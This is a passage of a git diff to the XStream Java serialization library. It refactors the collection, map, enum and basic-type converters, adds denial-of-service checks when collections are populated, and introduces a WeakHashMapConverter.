type.equals(URI.class); + return type == URI.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/URLConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/URLConverter.java index 1eca03af0..b7cf4daf4 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/URLConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/URLConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -26,7 +26,7 @@ public class URLConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(URL.class); + return type == URL.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/basic/UUIDConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/basic/UUIDConverter.java index e288ae070..46a552bc7 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/basic/UUIDConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/basic/UUIDConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2008, 2014 XStream Committers. + * Copyright (C) 2008, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -24,7 +24,7 @@ public class UUIDConverter extends AbstractSingleValueConverter { @Override public boolean canConvert(final Class type) { - return type.equals(UUID.class); + return type == UUID.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/AbstractCollectionConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/AbstractCollectionConverter.java index e487478a3..4c26e92b5 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/AbstractCollectionConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/AbstractCollectionConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014, 2016, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -18,7 +18,6 @@ import com.thoughtworks.xstream.converters.UnmarshallingContext; import com.thoughtworks.xstream.converters.reflection.ObjectAccessException; import com.thoughtworks.xstream.core.util.HierarchicalStreams; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -54,28 +53,107 @@ protected Mapper mapper() { @Override public abstract Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context); + /** + * @deprecated As of 1.4.11 use {@link #writeCompleteItem(Object, MarshallingContext, HierarchicalStreamWriter)} + * instead. + */ + @Deprecated protected void writeItem(final Object item, final MarshallingContext context, final HierarchicalStreamWriter writer) { // PUBLISHED API METHOD! If changing signature, ensure backwards compatibility. if (item == null) { // todo: this is duplicated in TreeMarshaller.start() - final String name = mapper().serializedClass(null); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, name, Mapper.Null.class); - writer.endNode(); + writeNullItem(context, writer); } else { final String name = mapper().serializedClass(item.getClass()); - ExtendedHierarchicalStreamWriterHelper.startNode(writer, name, item.getClass()); - context.convertAnother(item); + writer.startNode(name, item.getClass()); + writeBareItem(item, context, writer); writer.endNode(); } } + /** + * Write an item of the collection into the writer including surrounding tags. + * + * @param item the item to write + * @param context the current marshalling context + * @param writer the target writer + * @since 1.4.11 + */ + protected void writeCompleteItem(final Object item, final MarshallingContext context, + final HierarchicalStreamWriter writer) { + writeItem(item, context, writer); + } + + /** + * Write the bare item of the collection into the writer. + * + * @param item the item to write + * @param context the current marshalling context + * @param writer the target writer + * @since 1.4.11 + */ + protected void writeBareItem(final Object item, final MarshallingContext context, + final HierarchicalStreamWriter writer) { + context.convertAnother(item); + } + + /** + * Write a null item of the collection into the writer. The method readItem should be able to process the written + * data i.e. it has to write the tags or may not write anything at all. + * + * @param context the current marshalling context + * @param writer the target writer + * @since 1.4.11 + */ + protected void writeNullItem(final MarshallingContext context, final HierarchicalStreamWriter writer) { + final String name = mapper().serializedClass(null); + writer.startNode(name, Mapper.Null.class); + writer.endNode(); + } + + /** + * @deprecated As of 1.4.11 use {@link #readBareItem(HierarchicalStreamReader, UnmarshallingContext, Object)} or + * {@link #readCompleteItem(HierarchicalStreamReader, UnmarshallingContext, Object)} instead. + */ + @Deprecated protected Object readItem(final HierarchicalStreamReader reader, final UnmarshallingContext context, final Object current) { + return readBareItem(reader, context, current); + } + + /** + * Read a bare item of the collection from the reader. + * + * @param reader the source reader + * @param context the unmarshalling context + * @param current the target collection (if already available) + * @return the read item + * @since 1.4.11 + */ + protected Object readBareItem(final HierarchicalStreamReader reader, final UnmarshallingContext context, + final Object current) { final Class type = HierarchicalStreams.readClassType(reader, mapper()); return context.convertAnother(current, type); } + /** + * Read an item of the collection including the tags from the reader. + * + * @param reader the source reader + * @param context the unmarshalling context + * @param current the target collection (if already available) + * @return the read item + * @since 1.4.11 + */ + protected Object readCompleteItem(final HierarchicalStreamReader reader, final UnmarshallingContext context, + final Object current) { + reader.moveDown(); + final Object result = readItem(reader, context, current); + reader.moveUp(); + return result; + } + protected Object createCollection(final Class type) { ErrorWritingException ex = null; final Class defaultType = mapper().defaultImplementationOf(type); diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/ArrayConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/ArrayConverter.java index 202e97338..2822b660c 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/ArrayConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/ArrayConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -36,7 +36,7 @@ public ArrayConverter(final Mapper mapper) { @Override public boolean canConvert(final Class type) { - return type.isArray(); + return type != null && type.isArray(); } @Override @@ -44,7 +44,7 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, final int length = Array.getLength(source); for (int i = 0; i < length; i++) { final Object item = Array.get(source, i); - writeItem(item, context, writer); + writeCompleteItem(item, context, writer); } } @@ -54,10 +54,8 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli // read the items from xml into a list (the array size is not known until all items have been read) final List items = new ArrayList<>(); while (reader.hasMoreChildren()) { - reader.moveDown(); - final Object item = readItem(reader, context, null); // TODO: arg, what should replace null? + final Object item = readCompleteItem(reader, context, null); // TODO: arg, what should replace null? items.add(item); - reader.moveUp(); } // now convertAnother the list into an array final Object array = Array.newInstance(context.getRequiredType().getComponentType(), items.size()); diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/BitSetConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/BitSetConverter.java index fc6dd1162..77e542908 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/BitSetConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/BitSetConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -30,7 +30,7 @@ public class BitSetConverter implements Converter { @Override public boolean canConvert(final Class type) { - return type.equals(BitSet.class); + return type == BitSet.class; } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/CharArrayConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/CharArrayConverter.java index c6625e353..aed401ae1 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/CharArrayConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/CharArrayConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -27,7 +27,7 @@ public class CharArrayConverter implements Converter { @Override public boolean canConvert(final Class type) { - return type.isArray() && type.getComponentType().equals(char.class); + return type != null && type.isArray() && type.getComponentType().equals(char.class); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/CollectionConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/CollectionConverter.java index 662bb8838..6f934b9c5 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/CollectionConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/CollectionConverter.java @@ -1,6 +1,7 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2018, 2021 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -20,6 +21,7 @@ import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.core.SecurityUtils; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -75,7 +77,7 @@ public boolean canConvert(final Class type) { public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { final Collection collection = (Collection)source; for (final Object item : collection) { - writeItem(item, context, writer); + writeCompleteItem(item, context, writer); } } @@ -103,10 +105,13 @@ protected void populateCollection(final HierarchicalStreamReader reader, final U protected void addCurrentElementToCollection(final HierarchicalStreamReader reader, final UnmarshallingContext context, final Collection collection, final Collection target) { - final Object item = readItem(reader, context, collection); + @SuppressWarnings("deprecation") + final Object item = readItem(reader, context, collection); // call readBareItem when deprecated method is removed @SuppressWarnings("unchecked") final Collection targetCollection = (Collection)target; + final long now = System.currentTimeMillis(); targetCollection.add(item); + SecurityUtils.checkForCollectionDoSAttack(context, now); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/MapConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/MapConverter.java index e21719d69..b76780601 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/MapConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/MapConverter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2003, 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2012, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2010, 2011, 2012, 2013, 2014, 2018, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.xstream.converters.collections; @@ -19,7 +19,7 @@ import com.thoughtworks.xstream.converters.MarshallingContext; import com.thoughtworks.xstream.converters.UnmarshallingContext; -import com.thoughtworks.xstream.io.ExtendedHierarchicalStreamWriterHelper; +import com.thoughtworks.xstream.core.SecurityUtils; import com.thoughtworks.xstream.io.HierarchicalStreamReader; import com.thoughtworks.xstream.io.HierarchicalStreamWriter; import com.thoughtworks.xstream.mapper.Mapper; @@ -35,7 +35,7 @@ * Supports {@link HashMap}, {@link Hashtable}, {@link LinkedHashMap}, {@link ConcurrentHashMap} and * sun.font.AttributeMap. *

    - * + * * @see com.thoughtworks.xstream.converters.extended.NamedMapConverter * @author Joe Walnes */ @@ -49,7 +49,7 @@ public MapConverter(final Mapper mapper) { /** * Construct a MapConverter for a special Map type. - * + * * @param mapper the mapper * @param type the type to handle * @since 1.4.5 @@ -82,10 +82,10 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, final Map map = (Map)source; final String entryName = mapper().serializedClass(Map.Entry.class); for (final Map.Entry entry : map.entrySet()) { - ExtendedHierarchicalStreamWriterHelper.startNode(writer, entryName, entry.getClass()); + writer.startNode(entryName, entry.getClass()); - writeItem(entry.getKey(), context, writer); - writeItem(entry.getValue(), context, writer); + writeCompleteItem(entry.getKey(), context, writer); + writeCompleteItem(entry.getValue(), context, writer); writer.endNode(); } @@ -115,17 +115,14 @@ protected void populateMap(final HierarchicalStreamReader reader, final Unmarsha protected void putCurrentEntryIntoMap(final HierarchicalStreamReader reader, final UnmarshallingContext context, final Map map, final Map target) { - reader.moveDown(); - final Object key = readItem(reader, context, map); - reader.moveUp(); - - reader.moveDown(); - final Object value = readItem(reader, context, map); - reader.moveUp(); + final Object key = readCompleteItem(reader, context, map); + final Object value = readCompleteItem(reader, context, map); @SuppressWarnings("unchecked") final Map targetMap = (Map)target; + final long now = System.currentTimeMillis(); targetMap.put(key, value); + SecurityUtils.checkForCollectionDoSAttack(context, now); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/PropertiesConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/PropertiesConverter.java index dd401251e..e76a4672d 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/PropertiesConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/PropertiesConverter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 23. February 2004 by Joe Walnes */ package com.thoughtworks.xstream.converters.collections; @@ -35,13 +35,12 @@ * permissions for SecurityManager.checkPackageAccess, SecurityManager.checkMemberAccess(this, EnumSet.MEMBER) and * ReflectPermission("suppressAccessChecks"). *

    - * + * * @author Joe Walnes * @author Kevin Ring */ public class PropertiesConverter implements Converter { - private final static Field defaultsField = Fields.locate(Properties.class, Properties.class, false); private final boolean sort; public PropertiesConverter() { @@ -67,8 +66,8 @@ public void marshal(final Object source, final HierarchicalStreamWriter writer, writer.addAttribute("value", entry.getValue().toString()); writer.endNode(); } - if (defaultsField != null) { - final Properties defaults = (Properties)Fields.read(defaultsField, properties); + if (Reflections.defaultsField != null) { + final Properties defaults = (Properties)Fields.read(Reflections.defaultsField, properties); if (defaults != null) { writer.startNode("defaults"); marshal(defaults, writer, context); @@ -101,4 +100,7 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli } } + private static class Reflections { + private final static Field defaultsField = Fields.locate(Properties.class, Properties.class, false); + } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/SingletonCollectionConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/SingletonCollectionConverter.java index 9f99460e5..e53388360 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/SingletonCollectionConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/SingletonCollectionConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2011, 2014 XStream Committers. + * Copyright (C) 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -49,9 +49,7 @@ public boolean canConvert(final Class type) { @Override public Collection unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { - reader.moveDown(); - final Object item = readItem(reader, context, null); - reader.moveUp(); + final Object item = readCompleteItem(reader, context, null); return context.getRequiredType() == LIST ? Collections.singletonList(item) : Collections.singleton(item); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/SingletonMapConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/SingletonMapConverter.java index f0e216de0..7e6b611ae 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/SingletonMapConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/SingletonMapConverter.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2011, 2014 XStream Committers. + * Copyright (C) 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -53,13 +53,8 @@ public boolean canConvert(final Class type) { @Override public Map unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { reader.moveDown(); - reader.moveDown(); - final Object key = readItem(reader, context, null); - reader.moveUp(); - - reader.moveDown(); - final Object value = readItem(reader, context, null); - reader.moveUp(); + final Object key = readCompleteItem(reader, context, null); + final Object value = readCompleteItem(reader, context, null); reader.moveUp(); return Collections.singletonMap(key, value); diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeMapConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeMapConverter.java index 401be3336..c6807d7e4 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeMapConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeMapConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2015, 2016, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -49,7 +49,6 @@ public int compare(final Comparable o1, final Comparable o2) { @SuppressWarnings("rawtypes") private final static Comparator NULL_MARKER = new NullComparator(); - private final static Field comparatorField = Fields.locate(TreeMap.class, Comparator.class, false); public TreeMapConverter(final Mapper mapper) { super(mapper, TreeMap.class); @@ -66,8 +65,9 @@ protected void marshalComparator(final Comparator comparator, final Hierarchi final MarshallingContext context) { if (comparator != null) { writer.startNode("comparator"); - writer.addAttribute(mapper().aliasForSystemAttribute("class"), mapper().serializedClass(comparator - .getClass())); + writer + .addAttribute(mapper().aliasForSystemAttribute("class"), mapper() + .serializedClass(comparator.getClass())); context.convertAnother(comparator); writer.endNode(); } @@ -75,11 +75,11 @@ protected void marshalComparator(final Comparator comparator, final Hierarchi @Override public Object unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { - TreeMap result = comparatorField != null ? new TreeMap<>() : null; + TreeMap result = Reflections.comparatorField != null ? new TreeMap<>() : null; @SuppressWarnings("unchecked") final Comparator comparator = (Comparator)unmarshalComparator(reader, context, result); if (result == null) { - result = comparator == null ? new TreeMap<>() : new TreeMap<>(comparator); + result = comparator == null || comparator == NULL_MARKER ? new TreeMap<>() : new TreeMap<>(comparator); } populateTreeMap(reader, context, result, comparator); return result; @@ -125,14 +125,14 @@ protected void populateTreeMap(final HierarchicalStreamReader reader, final Unma final TreeMap typedResult = (TreeMap)result; try { if (JVM.hasOptimizedTreeMapPutAll()) { - if (comparator != null && comparatorField != null) { - comparatorField.set(result, comparator); + if (comparator != null && Reflections.comparatorField != null) { + Reflections.comparatorField.set(result, comparator); } typedResult.putAll(sortedMap); // internal optimization will not call comparator - } else if (comparatorField != null) { - comparatorField.set(result, sortedMap.comparator()); + } else if (Reflections.comparatorField != null) { + Reflections.comparatorField.set(result, sortedMap.comparator()); typedResult.putAll(sortedMap); // "sort" by index - comparatorField.set(result, comparator); + Reflections.comparatorField.set(result, comparator); } else { typedResult.putAll(sortedMap); // will use comparator for already sorted map } @@ -140,4 +140,8 @@ protected void populateTreeMap(final HierarchicalStreamReader reader, final Unma throw new ObjectAccessException("Cannot set comparator of TreeMap", e); } } + + private static class Reflections { + private final static Field comparatorField = Fields.locate(TreeMap.class, Comparator.class, false); + } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeSetConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeSetConverter.java index 2e1d38b4a..2e15815d4 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeSetConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/TreeSetConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2015, 2016, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -42,43 +42,6 @@ */ public class TreeSetConverter extends CollectionConverter { private transient TreeMapConverter treeMapConverter; - private final static Field sortedMapField; - private final static Object constantValue; - - static { - Object value = null; - sortedMapField = JVM.hasOptimizedTreeSetAddAll() ? Fields.locate(TreeSet.class, SortedMap.class, false) : null; - if (sortedMapField != null) { - final TreeSet set = new TreeSet<>(); - set.add("1"); - set.add("2"); - - Map backingMap = null; - try { - @SuppressWarnings("unchecked") - final Map map = (Map)sortedMapField.get(set); - backingMap = map; - } catch (final IllegalAccessException e) { - // give up; - } - if (backingMap != null) { - final Object[] values = backingMap.values().toArray(); - if (values[0] == values[1]) { - value = values[0]; - } - } - } else { - final Field valueField = Fields.locate(TreeSet.class, Object.class, true); - if (valueField != null) { - try { - value = valueField.get(null); - } catch (final IllegalAccessException e) { - // give up; - } - } - } - constantValue = value; - } public TreeSetConverter(final Mapper mapper) { super(mapper, TreeSet.class); @@ -100,11 +63,11 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli final boolean inFirstElement = unmarshalledComparator instanceof Mapper.Null; @SuppressWarnings("unchecked") final Comparator comparator = inFirstElement ? null : (Comparator)unmarshalledComparator; - if (sortedMapField != null) { + if (Reflections.sortedMapField != null) { final TreeSet possibleResult = comparator == null ? new TreeSet<>() : new TreeSet<>(comparator); Object backingMap = null; try { - backingMap = sortedMapField.get(possibleResult); + backingMap = Reflections.sortedMapField.get(possibleResult); } catch (final IllegalAccessException e) { throw new ObjectAccessException("Cannot get backing map of TreeSet", e); } @@ -146,7 +109,10 @@ protected void populateMap(final HierarchicalStreamReader reader, final Unmarsha public boolean add(final Object object) { @SuppressWarnings("unchecked") final Map collectionTarget = (Map)target; - return collectionTarget.put(object, constantValue != null ? constantValue : object) != null; + return collectionTarget + .put(object, Reflections.constantValue != null + ? Reflections.constantValue + : object) != null; } @Override @@ -164,6 +130,8 @@ public int size() { @Override protected void putCurrentEntryIntoMap(final HierarchicalStreamReader reader, final UnmarshallingContext context, final Map map, final Map target) { + // call readBareItem when deprecated method is removed + @SuppressWarnings("deprecation") final Object key = readItem(reader, context, map); @SuppressWarnings("unchecked") final Map checkedTarget = (Map)target; @@ -172,4 +140,47 @@ protected void putCurrentEntryIntoMap(final HierarchicalStreamReader reader, }; return this; } + + private static class Reflections { + + private final static Field sortedMapField; + private final static Object constantValue; + + static { + Object value = null; + sortedMapField = JVM.hasOptimizedTreeSetAddAll() + ? Fields.locate(TreeSet.class, SortedMap.class, false) + : null; + if (sortedMapField != null) { + final TreeSet set = new TreeSet<>(); + set.add("1"); + set.add("2"); + + Map backingMap = null; + try { + @SuppressWarnings("unchecked") + final Map map = (Map)sortedMapField.get(set); + backingMap = map; + } catch (final IllegalAccessException e) { + // give up; + } + if (backingMap != null) { + final Object[] values = backingMap.values().toArray(); + if (values[0] == values[1]) { + value = values[0]; + } + } + } else { + final Field valueField = Fields.locate(TreeSet.class, Object.class, true); + if (valueField != null) { + try { + value = valueField.get(null); + } catch (final IllegalAccessException e) { + // give up; + } + } + } + constantValue = value; + } + } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/collections/WeakHashMapConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/collections/WeakHashMapConverter.java new file mode 100644 index 000000000..600008c14 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/converters/collections/WeakHashMapConverter.java @@ -0,0 +1,49 @@ +/* + * Copyright (C) 2024 XStream Committers. + * All rights reserved. + * + * The software in this package is published under the terms of the BSD + * style license a copy of which has been included with this distribution in + * the LICENSE.txt file. + * + * Created on 19. October 2024 by Joerg Schaible + */ +package com.thoughtworks.xstream.converters.collections; + +import java.util.WeakHashMap; + +import com.thoughtworks.xstream.converters.Converter; +import com.thoughtworks.xstream.converters.MarshallingContext; +import com.thoughtworks.xstream.converters.UnmarshallingContext; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; + + +/** + * Converts a WeakHashMap. A WeakHashMap is supposed to release its elements when they are no longer referenced. + * Therefore is at unmarshalling time no guarantee that an entry is still available when it is referenced later in the + * stream. As consequence the converter will marshal no elements at all, it will create an empty WeakHashMap at + * unmarshalling time. + * + * @author Joerg Schaible + * @since 1.4.21 + */ +public class WeakHashMapConverter implements Converter { + + @Override + public boolean canConvert(final Class type) { + return WeakHashMap.class == type; + } + + @Override + public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { + // do nothing + } + + @Override + public WeakHashMap unmarshal(final HierarchicalStreamReader reader, final UnmarshallingContext context) { + @SuppressWarnings("rawtypes") + final WeakHashMap weakHashMap = new WeakHashMap(); + return weakHashMap; + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumConverter.java index 644f0e8ea..431e320c7 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumConverter.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -10,10 +10,6 @@ * Created on 18. March 2005 by Joe Walnes */ -// ***** READ THIS ***** -// This class will only compile with JDK 1.5.0 or above as it test Java enums. -// If you are using an earlier version of Java, just don't try to build this class. XStream should work fine without it. - package com.thoughtworks.xstream.converters.enums; import com.thoughtworks.xstream.converters.Converter; @@ -37,7 +33,7 @@ public class EnumConverter implements Converter { @Override public boolean canConvert(final Class type) { - return type.isEnum() || Enum.class.isAssignableFrom(type); + return type != null && type.isEnum() || Enum.class.isAssignableFrom(type); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumMapConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumMapConverter.java index ed1ac84ce..b2af15c30 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumMapConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumMapConverter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. April 2005 by Joe Walnes */ @@ -28,28 +28,27 @@ /** * Converts an {@link EnumMap}, including the type of Enum it's for. *

    - * If a {@link SecurityManager} is set, the converter will only work with permissions for SecurityManager.checkPackageAccess, - * SecurityManager.checkMemberAccess(this, EnumSet.MEMBER) and ReflectPermission("suppressAccessChecks"). + * If a {@link SecurityManager} is set, the converter will only work with permissions for + * SecurityManager.checkPackageAccess, SecurityManager.checkMemberAccess(this, EnumSet.MEMBER) and + * ReflectPermission("suppressAccessChecks"). *

    - * + * * @author Joe Walnes */ public class EnumMapConverter extends MapConverter { - private final static Field typeField = Fields.locate(EnumMap.class, Class.class, false); - public EnumMapConverter(final Mapper mapper) { super(mapper); } @Override public boolean canConvert(final Class type) { - return typeField != null && type == EnumMap.class; + return type == EnumMap.class && Reflections.typeField != null; } @Override public void marshal(final Object source, final HierarchicalStreamWriter writer, final MarshallingContext context) { - final Class type = (Class)Fields.read(typeField, source); + final Class type = (Class)Fields.read(Reflections.typeField, source); final String attributeName = mapper().aliasForSystemAttribute("enum-type"); if (attributeName != null) { writer.addAttribute(attributeName, mapper().serializedClass(type)); @@ -69,4 +68,8 @@ public Object unmarshal(final HierarchicalStreamReader reader, final Unmarshalli populateMap(reader, context, map); return map; } + + private static class Reflections { + private final static Field typeField = Fields.locate(EnumMap.class, Class.class, false); + } } diff --git a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumSetConverter.java b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumSetConverter.java index 9cf034b0e..ef13a1786 100644 --- a/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumSetConverter.java +++ b/xstream/src/java/com/thoughtworks/xstream/converters/enums/EnumSetConverter.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2014, 2018, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. April 2005 by Joe Walnes */ @@ -31,13 +31,12 @@ * If a SecurityManager is set, the converter will only work with permissions for SecurityManager.checkPackageAccess, * SecurityManager.checkMemberAccess(this, EnumSet.MEMBER) and ReflectPermission("suppressAccessChecks"). *

